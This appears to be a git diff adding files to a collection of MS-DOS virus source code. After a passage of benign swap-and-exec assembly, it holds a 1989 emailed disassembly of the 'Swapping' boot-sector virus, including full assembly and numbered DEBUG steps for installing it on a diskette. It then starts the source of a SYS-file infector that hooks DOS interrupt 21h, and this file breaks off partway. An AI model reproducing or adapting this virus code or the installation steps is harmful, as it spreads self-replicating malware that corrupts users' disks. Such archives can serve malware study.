+ CLI ;Interrupts off + MOV SS,BX ;Change stack + MOV SP,AX + STI ;Interrupts on + ENDM +;----------------------------------------------------------------------------- +;function ExecWithSwap(Path, CmdLine : string) : Word; +EXECWITHSWAP PROC FAR + PUSH BP + MOV BP,SP ;Set up stack frame + +;Move variables to CS where we can easily access them later + MOV Status,1 ;Assume failure + LES DI,[BP+6] ;ES:DI -> CmdLine + MOV CmdPtr.ofst,DI + MOV CmdPtr.segm,ES ;CmdPtr -> command line string + LES DI,[BP+10] ;ES:DI -> Path + MOV PathPtr.ofst,DI + MOV PathPtr.segm,ES ;PathPtr -> path to execute + MOV SaveSP,SP ;Save stack position + MOV SaveSS,SS + MovMem BytesSwappedCS.lo,_BytesSwapped.lo + MovMem BytesSwappedCS.hi,_BytesSwapped.hi + MovMem EmsHandleCS,_EmsHandle + MovMem FrameSegCS,_FrameSeg + MovMem FileHandleCS,_FileHandle + MovMem PrefixSegCS,_PrefixSeg + InitSwapCount ;Initialize bytes LeftToSwap + +;Check for swapping to EMS or file + CMP _EmsAllocated,0 ;Check flag for EMS method + JZ NotEms ;Jump if EMS not used + JMP WriteE ;Swap to EMS +NotEms: CMP _FileAllocated,0 ;Check flag for swap file method + JNZ WriteF ;Swap to file + JMP ESDone ;Exit if no swapping method set + +;Write to swap file +WriteF: MovSeg DS,CS ;DS = CS + InitSwapFile ;Seek to start of swap file + JNC EF0 ;Jump if success + JMP ESDone ;Exit if error +EF0: SetSwapCount FileBlockSize ;CX = bytes to write + MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to save + DosCallAH 40h ;File write + JC EF1 ;Jump if write error + CMP AX,CX ;All bytes written? + JZ EF2 ;Jump if so +EF1: JMP ESDone ;Exit if error +EF2: NextBlock DS,FileBlockSize ;Point DS to next block to write + JNZ EF0 ;Loop if bytes left to write + MOV UsedEms,0 ;Flag we used swap file for swapping + JMP SwapDone ;Done swapping out + +;Write to EMS +WriteE: MOV ES,_FrameSeg ;ES -> page window + MOV DX,_EmsHandle ;DX = handle of our EMS block + XOR BX,BX ;BX = initial logical page + MovSeg DS,CS ;DS = CS +EE0: XOR AL,AL ;Physical page 0 + EmsCall 44h ;Map physical page + JZ EE1 ;Jump if success + JMP ESDone ;Exit if error +EE1: SetSwapCount EmsPageSize ;CX = Bytes to move + XOR DI,DI ;ES:DI -> base of EMS page + MOV SI,OFFSET _FIRSTTOSAVE ;DS:SI -> region to save + MoveFast ;Move CX bytes from DS:SI to ES:DI + INC BX ;Next logical page + NextBlock DS,EmsPageSize ;Point DS to next page to move + JNZ EE0 ;Loop if bytes left to move + MOV UsedEms,1 ;Flag we used EMS for swapping + +;Shrink memory allocated to this process +SwapDone:MOV AX,PrefixSegCS + MOV ES,AX ;ES = segment of our memory block + DEC AX + MOV DS,AX ;DS = segment of memory control block + MOV CX,DS:[0003h] ;CX = current paragraphs owned + MOV ParasWeHave,CX ;Save current paragraphs owned + SetTempStack ;Switch to temporary stack + MOV AX,OFFSET _FIRSTTOSAVE+15 + MOV CL,4 + SHR AX,CL ;Convert offset to paragraphs + ADD BX,AX + SUB BX,PrefixSegCS ;BX = new paragraphs to keep + DosCallAH 4Ah ;SetBlock + JNC EX0 ;Jump if successful + JMP EX5 ;Swap back and exit + +;Set up parameters and call DOS Exec +EX0: MOV AX,ES:[002Ch] ;Get environment segment + MOV EnvironSeg,AX + MovSeg ES,CS ;ES = CS + LDS SI,PathPtr ;DS:SI -> path to execute + MOV DI,OFFSET Path ;ES:DI -> local ASCIIZ copy + CLD +; LODSB ;Read current length +; CMP AL,63 ;Truncate if exceeds space set aside +; JB EX1 +; MOV AL,63 +;EX1: MOV CL,AL +; XOR CH,CH ;CX = bytes to copy + MOV CX, 63 + REP MOVSB +; XOR AL,AL +; STOSB ;ASCIIZ terminate + LDS SI,CmdPtr ;DS:SI -> Command line to pass + MOV DI,OFFSET CmdLine ;ES:DI -> Local terminated copy +; LODSB +; CMP AL,126 ;Truncate command if exceeds space +; JB EX2 +; MOV AL,126 +;EX2: STOSB +; MOV CL,AL +; XOR CH,CH ;CX = bytes to copy + MOV CX, 127 + REP MOVSB +; MOV AL,0DH ;Terminate with ^M +; STOSB + + MovSeg DS,CS ;DS = CS + MOV SI,OFFSET CmdLine + MOV CmdLinePtr.ofst,SI + MOV CmdLinePtr.segm,DS ;Store pointer to command line +; INC SI + MOV DI,OFFSET FileBlock1 + MOV FilePtr1.ofst,DI + MOV FilePtr1.segm,ES ;Store pointer to filename 1, if any + DosCallAX 2901h ;Parse FCB + MOV DI,OFFSET FileBlock2 + MOV FilePtr2.ofst,DI + MOV FilePtr2.segm,ES ;Store pointer to filename 2, if any + DosCallAX 2901h ;Parse FCB + MOV DX,OFFSET Path + MOV BX,OFFSET EnvironSeg + DosCallAX 4B00h ;Exec + JC EX3 ;Jump if error in DOS call + XOR AX,AX ;Return zero for success +EX3: MOV Status,AX ;Save DOS error code + +;Set up temporary stack and reallocate original memory block + SetTempStack ;Set up temporary stack + MOV ES,PrefixSegCS + MOV BX,ParasWeHave + DosCallAH 4Ah ;SetBlock + JNC EX4 ;Jump if no error + HaltWithError 0FFh ;Must halt if failure here +EX4: InitSwapCount ;Initialize LeftToSwap + +;Check which swap method is in use +EX5: PUSH CS + POP DS + MOV DX,OFFSET ComeBack + MOV AH,9 + INT 21h + CMP UsedEms,0 + JZ ReadF ;Jump to read back from file + JMP ReadE ;Read back from EMS + +;Read back from swap file +ReadF: MovSeg DS,CS ;DS = CS + InitSwapFile ;Seek to start of swap file + JNC EF3 ;Jump if we succeeded + HaltWithError 0FEh ;Must halt if failure here +EF3: SetSwapCount FileBlockSize ;CX = bytes to read + MOV DX,OFFSET _FIRSTTOSAVE ;DS:DX -> start of region to restore + DosCallAH 3Fh ;Read file + JNC EF4 ;Jump if no error + HaltWithError 0FEh ;Must halt if failure here +EF4: CMP AX,CX + JZ EF5 ;Jump if full block read + HaltWithError 0FEh ;Must halt if failure here +EF5: NextBlock DS,FileBlockSize ;Point DS to next page to read + JNZ EF3 ;Jump if bytes left to read + JMP ESDone ;We're done + +;Copy back from EMS +ReadE: MOV DS,FrameSegCS ;DS -> page window + MOV DX,EmsHandleCS ;DX = handle of our EMS block + XOR BX,BX ;BX = initial logical page + MovSeg ES,CS ;ES = CS +EE3: XOR AL,AL ;Physical page 0 + EmsCall 44h ;Map physical page + JZ EE4 ;Jump if success + HaltWithError 0FDh ;Must halt if failure here +EE4: SetSwapCount EmsPageSize ;CX = Bytes to move + XOR SI,SI ;DS:SI -> base of EMS page + MOV DI,OFFSET _FIRSTTOSAVE ;ES:DI -> region to restore + MoveFast ;Move CX bytes from DS:SI to ES:DI + INC BX ;Next logical page + NextBlock ES,EmsPageSize ;Point ES to next page to move + JNZ EE3 ;Jump if so + +ESDone: CLI ;Switch back to original stack + MOV SS,SaveSS + MOV SP,SaveSP + STI + MOV AX,SEG DGROUP + MOV DS,AX ;Restore DS + MOV AX,Status ;Return status + POP BP + RET 8 ;Remove parameters and return +EXECWITHSWAP ENDP +;----------------------------------------------------------------------------- +;Label marks first location to swap +_FIRSTTOSAVE: +;----------------------------------------------------------------------------- +;function AllocateSwapFile : Boolean; +ALLOCATESWAPFILE PROC FAR + MOV CX,FileAttr ;Attribute for swap file + MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name + DosCallAH 3Ch ;Create file + MOV _FileHandle,AX ;Save handle assuming success + MOV AL,0 ;Assume failure + JC ASDone ;Failed if carry set + INC AL ;Return true for success +ASDone: RET +ALLOCATESWAPFILE ENDP + +;----------------------------------------------------------------------------- +;procedure DeallocateSwapFile; +DEALLOCATESWAPFILE PROC FAR + MOV BX,_FileHandle ;Handle of swap file + DosCallAH 3Eh ;Close file + XOR CX,CX ;Normal attribute + MOV DX,OFFSET _SwapName ;DS:DX -> ASCIIZ swap name + DosCallAX 4301h ;Set file attribute + DosCallAH 41h ;Delete file + RET +DEALLOCATESWAPFILE ENDP + +;----------------------------------------------------------------------------- +;function EmsInstalled : Boolean; +EMSINSTALLED PROC FAR + + PUSH DS + MovSeg DS,CS ;DS = CS + MOV DX,OFFSET EmsDevice ;DS:DX -> EMS driver name + DosCallAX 3D02h ;Open for read/write + POP DS + MOV BX,AX ;Save handle in case one returned + MOV AL,0 ;Assume FALSE + JC EIDone + DosCallAH 3Eh ;Close file + MOV AL,1 ;Return TRUE + +EIDone: RET + +EMSINSTALLED ENDP + +;----------------------------------------------------------------------------- +;function EmsPageFrame : Word; +EMSPAGEFRAME PROC FAR + + EmsCall 41h ;Get page frame + MOV AX,BX ;AX = segment + JZ EPDone ;Done if Error = 0 + XOR AX,AX ;Else segment = 0 + +EPDone: RET + +EMSPAGEFRAME ENDP + +;----------------------------------------------------------------------------- +;function AllocateEmsPages(NumPages : Word) : Word; +ALLOCATEEMSPAGES PROC FAR + + MOV BX,SP ;Set up stack frame + MOV BX,SS:[BX+4] ;BX = NumPages + EmsCall 43h ;Allocate EMS + MOV AX,DX ;Assume success + JZ APDone ;Done if not 0 + MOV AX,0FFFFh ;$FFFF for failure + +APDone: RET 2 ;Remove parameter and return + +ALLOCATEEMSPAGES ENDP + +;----------------------------------------------------------------------------- +;procedure DeallocateEmsHandle(Handle : Word); +DEALLOCATEEMSHANDLE PROC FAR + + MOV BX,SP ;Set up stack frame + MOV DX,SS:[BX+4] ;DX = Handle + EmsCall 45h ;Deallocate EMS + + RET 2 ;Remove parameter and return + +DEALLOCATEEMSHANDLE ENDP + +;CODE ENDS + END + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.swapping.asm b/MSDOS/Virus.MSDOS.Unknown.swapping.asm new file mode 100644 index 00000000..f8c0d29d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.swapping.asm @@ -0,0 +1,551 @@ +From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22 +To: RCSTRN@HEITUE51 +CC: +Subj: Swap Virus + +Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788 + for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N +Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300 +Date: Tue, 15 Aug 89 20:33:34 +0300 +From: "Yuval Tal (972)-8-474592" +Subject: Swap Virus +To: RCSTRN@HEITUE51 + +hi.... + +This is the swap virus that i've told u about.. + +cheers, + + yuval + +------------------------------------------------------+ + | The "Swapping" virus | + +------------------------------------------------------+ + | | + | Disassembled on: August, 1989 | + | | + | Disassembled by: Yuval Tal | + | | + | Disassembled using: ASMGEN and DEBUG | + | | + +------------------------------------------------------+ + +Important note: If you find *ANYTHING* that you think I wrote +incorrectly or is-understood something, please let me know ASAP. +You can reach me: + + Bitnet: NYYUVAL@WEIZMANN + InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU + + +This text is divided into theree parts: + + 1) A report about the Swap Virus. + 2) A disassembly of the Swap Virus. + 3) How to install this virus? + +------------------------------------------------------------------------------- + R E P O R T +------------------------------------------------------------------------------- + +Virus Name..............: The Swap Virus +Attacks.................: Floppy-disks only +Virus Detection when....: June, 1989 + at......: Israel +Length of virus.........: 1. The virus itself is 740 bytes. + 2. 2048 bytes in RAM. +Operating system(s).....: PC/MS DOS version 2.0 or later +Identifications.........: A) Boot-sector: + 1) Bytes from $16A in the boot sector are: + 31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13 + 9A 00 01 00 20 E9 XX XX + 2) The first three bytes in the boot sector are: + JMP 0196 (This is, if the boot sector was + loaded to CS:0). + B) FAT: Track 39 sectors 6-7 are marked as bad. + C) The message: + "The Swapping-Virus. (C) June, by the CIA" + is located in bytes 02B5-02E4 on track 39, + sector 7. +Type of infection.......: Stays in RAM, hooks int $8 and int $13. + A diskette is infected when it is inserted into the + drive and ANY command that reads or writes from/to + the diskette is executed. Hard disks are NOT infected! +Infection trigger.......: The virus starts to work after 10 minutes. +Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping) + $13 (Disk Drive - Infects!) +Damage..................: Track 39 sectors 6-7 will be marked as bad in the + FAT. +Damage trigger..........: The damage is done whenever a diskette is infected. +Particularities.........: A diskette will be infected only if track 39 sectors + 6-7 are empty. + + +------------------------------------------------------------------------------- + D I S A S S E M B L Y +------------------------------------------------------------------------------- + +;The first thing I did, inorder to dis-assemble this virus, was un-assemling +;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler +;called ASMGEN to set all the labels and variables in the .ASM file. I then +;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM +;file that no command will be missing, added a few things and this is the +;result: + +CODE SEGMENT + + ASSUME DS:CODE,CS:CODE + ORG 0000H + +START: JMP L0353 + + DATA_BEGIN EQU THIS BYTE + + OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment + OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment + RandomNumber DW 0 ;The random number + Flag DB 0 + Counter DW 0 + Counter2 DW 0 + Status DB 0 + CHAR DB 0 ;The character that is falling + CHARUNDER DB 0 ;The chacterer that we save + ADDRCHAR DW 0 ;The address of the character in mem. + GOT13 DB 0 ;If interrupt 13 is installed + DISKDRIV DB 0 ;The diskette that we are infecting + DISK DW 0 ;The diskette that we are infecting + + + DATA_END EQU THIS BYTE + +; The following 11 command are written into the boot-sector at address CS:196 +; At first I worte the commands, but some of the opcodes weren't the same as +; in the virus so I've exchanged them into opcodes for maximum compability. + + + StartCmds EQU THIS BYTE + + DB 031h,0C0h ;XOR AX,AX + DB 0CDh,013h ;INT 13h + DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h + DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h + DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h + DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h + DB 08Eh,0C3h ;MOV ES,BX + DB 0BBh,000h,000h ;MOV BX,0 + DB 0CDh,013h ;INT 13h + DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000 + DB 0E9h ;JMP +FirstJMP DW 0FE89h ; 003EH (Don't worry, + ; it's the right addres + + +;------------------------------------------ +; This is the new interrupt $13 routine +;------------------------------------------ + +NewInt13: + PUSHF ; + CMP DL,1h ;Call for drive A: or B:? + JA L0153 ;If not, don't put virus + + CMP AH,2h ;Is it a readblock function + JB L0153 ;(AH=2)? No, AH is smaller so + ;don't put virus + + CMP AH,3h ;Is it a writeblock function + JA L0153 ;(AH=3)? No, AH is bigger so + ;don't put virus + INC DL ;Set disk drive to fit the user + ;(Drive A=1 ; Drive B=2) + MOV CS:DiskDriv,DL ;Save the drive number + DEC DL ;Set disk drive to fit the int. + ;(Drive A=0 ; Drive B=1) + + +L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13 + JNB L0160 ;If no error, goto end of + ;routine. (JNB=JNC) + MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0 + +L0160: RETF 2 ;Return from routine + +;----------------------------------------------------- +; Infect the diskette +;----------------------------------------------------- + +L0163: PUSH ES ; + PUSH BP ;Save registers + MOV BP,SP ; + MOV AX,[BP+10h] ;Let AX=CS from the stack + + POP BP ; + + CMP AX,0200h ;Are we called from the system? + JBE L01BB ;If so, don't infect + MOV BX,CS ;Get the program segment + CMP AX,BX ;Is it the same as one from + JNB L01BB ;stack? If so, don't infect + + MOV AX,CS ; + MOV ES,AX ;ES=CS + MOV AL,CS:DiskDriv ;AL=DiskDriv + DEC AL ;Set AL to fit int + XOR AH,AH ;AH=0 + MOV CS:Disk,AX ;Save AX + MOV AX,0201h ;Read one sector + MOV BX,0400h ;to buffer CS:400 + MOV CX,0003h ;from sector 3, track 0 (FAT) + MOV DX,CS:Disk ;restore the disk drive + INT 13h ;Read it!!! + JB L01BE ;If error, don't infect + + MOV AX,0301h ;Write one sector + MOV BX,0400h ;from CS:400 + MOV DX,CS:Disk ;the disk drive number + CMP BYTE PTR CS:[BX+13h],0 ;is there something on it? + JNZ L01BE ;yes, don't infect + + MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the + OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad + INT 13h ;Re-write the FAT! + JB L01BE ;If error, don't infect! + JMP SHORT L01C1 ;Continue... + +;Note: I have no idea what is the object of the next NOPs. + + NOP ; +L01BB: JMP SHORT L022D ;These JMP are for the don't + NOP ;infect...see above! +L01BE: JMP SHORT L0227 ; + NOP ; + +L01C1: MOV AX,0201h ;Read one sector to the + MOV BX,0400h ;buffer at CS:400 + MOV CX,0001h ;from sector 1, track 0 (boot + MOV DX,CS:Disk ;sector) from diskette + INT 13h ;Read it! + JB L0227 ;If error, don't infect + +;A boot sector always start with a JMP to a certain place. This virus changes +;this JMP to + + MOV BX,0400h ;Check where does the first + MOV AL,CS:[BX+1] ;JMP jumps to. + XOR AH,AH ; + SUB AX,1B3h ;Reduce 1B3h to calculate the + ;real JMP address and + MOV CS:FirstJMP,AX ;save it. + + MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded + MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP + + PUSH SI ; + PUSH DI ; + PUSH DS ;Save registers + MOV AX,CS ; + MOV DS,AX ;DS=CS + +;Here, the commands which are added to the boot-sector at the 196th byte are +;copied to the loaded boot-sector at address CS:400. + + MOV SI,Offset StartCmds ;SI points to commands to add + ;to the boot-sector + MOV DI,0596h ;The 196th byte from CS:400 + MOV CX,1Fh ;The commands are 1Fh bytes long + CLD ; + REPZ MOVSB ;Copy it! + +L0200: POP DS ; +L0201: POP DI ; +L0202: POP SI ;Restore registers + +;The loaded and changed boot-sector is re-written to the diskette. + + MOV AX,0301h ;Write one sector from + MOV BX,0400h ;CS:400 to + MOV CX,0001h ;sector 1, track 0 + MOV DX,CS:Disk ;disk number.. + INT 13h ;Write data! + JB L0227 ;If error, don't infect + +;Here, the virus is written to the diskette to the marked bad sectors + + MOV AX,0302h ;Write two sectors from + MOV BX,0 ;CS:0 (this code!) to + MOV CX,2706h ;track 27h, sector 6 + MOV DX,CS:Disk ;disk number.. + MOV DH,1h ;side number 1 + INT 13h ;Write it! + +L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0 +L022D: POP ES ;Restore register + JMP SHORT L02AF ;finished infecting + NOP ;Again, i don't know what is + ;this NOP object +;------------------------------------------- +; The new interrupt 13h is installed here +;------------------------------------------- + + +L0231: XOR AX,AX ;ES points to lowest segment + MOV ES,AX ;in memory + MOV BX,ES:4Ch ; + MOV CS:OldInt13[0],BX ;Save the int vector (offset) + MOV BX,ES:4Eh ; + MOV CS:OldInt13[2],BX ;Save the int vector (segment) + + MOV BX,CS ;BX=CS + MOV ES:4Eh,BX ;Change the int vector (segment) + MOV BX,Offset NewInt13 ;BX=Offset of the new int 13 + MOV ES:4Ch,BX ;Change the int vector (offset) + + MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal + MOV BYTE PTR CS:Status,0 ;Status=0 + + JMP L034D ;Continue.... + +;----------------------------------------------------- + +L0267: JMP L0163 ;Infect disk! + +;----------------------------------------------------- +;This is the new interrupt $8 +;----------------------------------------------------- + +L026A: PUSHF ; + CALL DWORD PTR CS:OldInt8 ;Call orginal interrput + PUSH AX ; + PUSH BX ; + PUSH CX ; + PUSH DX ; + PUSH ES ;Save registers + +;The virus picks a random number. It does it by adding AX,BX,CX and DX +;to RandomNumber. The values of AX,BX,CX and DX are undefined because an +;hardware interrupt (look6 commands back) was called. + + ADD CS:RandomNumber,AX ;\ + ADD CS:RandomNumber,BX ; |_ Create random number + ADD CS:RandomNumber,CX ; | + ADD CS:RandomNumber,DX ;/ + +;I am not sure what the programmer had done next but my guess is that this +;is the time check. The virus starts to work after 10 minuntes or so. + + CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h? + JNB L029F ;Yes, it is.. + + INC WORD PTR CS:Counter ;No, incerase it and also + INC WORD PTR CS:Counter2 ;increase another thing (??) + ;and then, + JMP L034D ;goto end of routine + +L029F: CMP BYTE PTR CS:Got13,0 ; + JZ L0231 + CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected? + JNZ L0267 ;No, infect it! + +L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;?? + JNB L02C0 ;?? + INC WORD PTR CS:Counter2 ;?? + JMP L034D ;Exit routine + +;----------------------------------------------------------------- +; This is the main routine which drops the letter from the screen +;----------------------------------------------------------------- + +L02C0: MOV BX,0B800h ;Make ES point to the screen + MOV ES,BX ;segment (only cga,ega,mcga) + CMP BYTE PTR CS:Status,0 ;Is status=0? + JNZ L0305 ;No, drop letter + +;This is done to make space in the time between the letters fall. + + ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4 + CMP BYTE PTR CS:Flag,4 ;Is flag=4? + JNB L034D ;If so, don't drop + + MOV BX,CS:RandomNumber ;Set up random number.. + MOV CL,5 ; + SHR BX,CL ;first, devide it by 32 + SHL BX,1 ;second, multiply it by 2 + + MOV AL,ES:[BX] ;Save the char we need to drop + CMP AL,20h ;is it a space( )? + JZ L034D ;if so, don't drop + + MOV CS:Char,AL ;Save the char + MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' ' + MOV CS:AddrChar,BX ;Svae the address of the char + MOV BYTE PTR CS:Status,1 ;Status=1 + +L0302: JMP SHORT L034D ;Go to exit + NOP ; + +L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2? + JZ L0315 ;If so, continue + INC BYTE PTR CS:Status ;Else, status=status+1 + + JMP SHORT L034D ;Go to exit + NOP ; + +L0315: MOV BYTE PTR CS:Status,1 ;Status:=1 + MOV BX,CS:AddrChar ;Put address of character in BX + MOV AL,CS:CharUnder ;and the saved char at AL + MOV ES:[BX],AL ;Erase the letter on the screen + ADD BX,0A0h ;Move pointer to next line + + CMP BX,0FA0h ;Did we past end of screen? + JA L0347 ;If so, the dropping has ended + MOV CS:AddrChar,BX ;Save the new address + MOV AL,ES:[BX] ;and the character + MOV CS:CharUnder,AL ;and put the dropping letter + MOV AL,CS:Char ;in the current location + MOV ES:[BX],AL ; + + JMP SHORT L034D ;Go to end of routine + NOP ; + +L0347: MOV BYTE PTR CS:Status,0 ;Status:=0 + ; + +L034D: POP ES ;Resotre registers + POP DX ; + POP CX ; + POP BX ; + POP AX ; + IRET ;Return from interrupt + +;------------------------------------------------------------------- +;This part of the virus initilized the TSR +;------------------------------------------------------------------- + +L0353: PUSH DS ; + PUSH ES ;Save registers + MOV AX,CS ; + MOV DS,AX ;Make CS=DS + +;First thing, clear all the data area + + MOV ES,AX ;ES=DS + MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data + MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data + CLD ;Go forward + XOR AL,AL ;Store 0 each time (AL=0) + REPZ STOSB ;Repeat so CX times + +;Now, make ES point to the lowest segment in the memory + + XOR AX,AX ; + MOV ES,AX ;ES point to lowest segment + +;The interrupt vectors are written in the lowest segment so: +; +; 1) Save the interrupt 8 segment and offset for later use +; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here) + + MOV BX,ES:20h ;Get offset of int $8 + MOV DS:OldInt8[0],BX ;Save int $8 offset + MOV BX,ES:22h ;Get segment of int $8 + MOV DS:OldInt8[2],BX ;Save int $8 segment + + MOV AX,ES:413h ;Put amount of mem. in AX, + SUB AX,2 ;steal 2K and + MOV ES:413h,AX ;save the new amount of mem. + +;Copy the virus to the highest place in the memory: + + MOV CL,6 ; + SHL AX,CL ;Multiply the mem size by 64 and + MOV ES,AX ;make ES point to this segm. + MOV SI,OFFSET START ;SI to begining of this code + MOV DI,SI ; + MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start + CLD ; + REPZ MOVSB ;Copy the virus. + +;IMPORTANT: I am not sure that what I am saying in the next paragraph is +; correct. Please let me know if I am wrong + + XOR AX,AX ; + MOV DS,AX ;DS point to lowest segment + MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and + MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is + ;to put IRET). + +;OK, now all the virus needs to do is to change the interrupt vector so +;it will point the new $8 interrput. + + MOV BX,ES ; + CLI ; + MOV DS:22h,BX ;Change the vector (Segment) + MOV BX,OFFSET L026A ;BX=Offset of new interrupt + MOV DS:20h,BX ;Change the vector (Offset) + STI ; + + POP ES ;Restore registers + POP DS ; + + RETF ;Return back + +;I guess this is the signature of the virus: + + DB 'The Swapping-Virus. (C) June, 1989 by the CIA' + + _END EQU THIS BYTE + + CODE ENDS +; +END START + +------------------------------------------------------------------------------- + H O W T O I N S T A L L T H E V I R U S +------------------------------------------------------------------------------- + + 1) Cut the disassembly from this text. + 2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and + link it but I think that there won't be any trouble using Turbo Assembler. + 3) Use EXE2BIN or anything else inorded to make it a .COM file. + 4) Format a diskette with the /S option inorder to put the operation system on + it (make sure you format it in 9 sectors per track format). + 5) Enter DOS's DEBUG debugger and load the .COM file that you have created. + 6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to + CS:0. + 7) Put the diskette you want to infect in drive A. + 8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on + track 39. + 9) Type: L 0 0 0 1 this will load the boot sector into the memory. +10) Type: U 0 and remember the number after the JMP in offset 0. +11) Type: A 0 + JMP 196 this will execute the virus each time the + diskette is booted. +12) Type: A 196 + XOR AX,AX + INT 13 + MOV AX,202 + MOV CX,2706 + MOV DX,100 + MOV BX,2000 + MOV ES,BX + MOV BX,0 + INT 13 + CALL 2000:0000 + JMP +13) Now, save the boot sector by typing: W 0 0 0 1 + +That's it! The virus is now installed on your diskette! + ++-----------------------------------------------------------------------+ +| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET | +| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU | +| | +| Yuval Tal | +| The Weizmann Institute Of Science "To be of not to be" -- Hamlet | +| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra | ++-----------------------------------------------------------------------+ + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.sysinf.asm b/MSDOS/Virus.MSDOS.Unknown.sysinf.asm new file mode 100644 index 00000000..e9bae9af --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sysinf.asm @@ -0,0 +1,311 @@ + ;Sysinf.asm???? + + .model tiny + .code + org 0 ; SYS files originate at zero + + ; SYS infector + ; Written by Dark Angel of Phalcon/Skism + ; for 40Hex + + header: + + next_header dd -1 ; FFFF:FFFF + attribute dw 8000h ; character device + strategy dw offset _strategy + interrupt dw offset _interrupt + namevirus db 'SYS INF ' ; simple SYS infector + + endheader: + + author db 0,'Simple SYS infector',0Dh,0Ah + db 'Written by Dark Angel of Phalcon/Skism',0 + + _strategy: ; save es:bx pointer + push si + call next_strategy + next_strategy: + pop si + mov cs:[si+offset savebx-offset next_strategy],bx + mov cs:[si+offset savees-offset next_strategy],es + pop si + retf + + _interrupt: ; install virus in memory + push ds ; generally, only the segment + push es ; registers need to be preserved + + push cs + pop ds + + call next_interrupt + next_interrupt: + pop bp + les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer + + mov es:[bx+3],8103h ; default to fail request + cmp byte ptr es:[bx+2], 0 ; check if it is installation request + jnz exit_interrupt ; exit if it is not + + mov es:[bx+10h],cs ; fill in ending address value + lea si,[bp+header-next_interrupt] + mov es:[bx+0eh],si + dec byte ptr es:[bx+3] ; and assume installation failure + + mov ax, 0b0fh ; installation check + int 21h + cmp cx, 0b0fh + jz exit_interrupt ; exit if already installed + + add es:[bx+0eh],offset endheap ; fixup ending address + mov es:[bx+3],100h ; and status word + + xor ax,ax + mov ds,ax ; ds->interrupt table + les bx,ds:[21h*4] ; get old interrupt handler + mov word ptr cs:[bp+oldint21-next_interrupt],bx + mov word ptr cs:[bp+oldint21+2-next_interrupt],es + + lea si,[bp+int21-next_interrupt] + cli + mov ds:[21h*4],si ; replace int 21h handler + mov ds:[21h*4+2],cs + sti + exit_interrupt: + pop es + pop ds + retf + + int21: + cmp ax,0b0fh ; installation check? + jnz notinstall + xchg cx,ax ; mark already installed + exitint21: + iret + notinstall: + pushf + db 9ah ; call far ptr This combined with the + oldint21 dd ? ; pushf simulates an int 21h call + + pushf + + push bp + push ax + + mov bp, sp ; set up new stack frame + ; flags [bp+10] + ; CS:IP [bp+6] + ; flags new [bp+4] + ; bp [bp+2] + ; ax [bp] + mov ax, [bp+4] ; get flags + mov [bp+10], ax ; replace old flags with new + + pop ax ; restore the stack + pop bp + popf + + cmp ah, 11h ; trap FCB find first and + jz findfirstnext + cmp ah, 12h ; FCB find next calls only + jnz exitint21 + findfirstnext: + cmp al,0ffh ; successful findfirst/next? + jz exitint21 ; exit if not + + push bp + call next_int21 + next_int21: + pop bp + sub bp, offset next_int21 + + push ax ; save all registers + push bx + push cx + push dx + push ds + push es + push si + push di + + mov ah, 2fh ; ES:BX <- DTA + int 21h + + push es ; DS:BX->DTA + pop ds + + cmp byte ptr [bx], 0FFh ; extended FCB? + jnz regularFCB ; continue if not + add bx, 7 ; 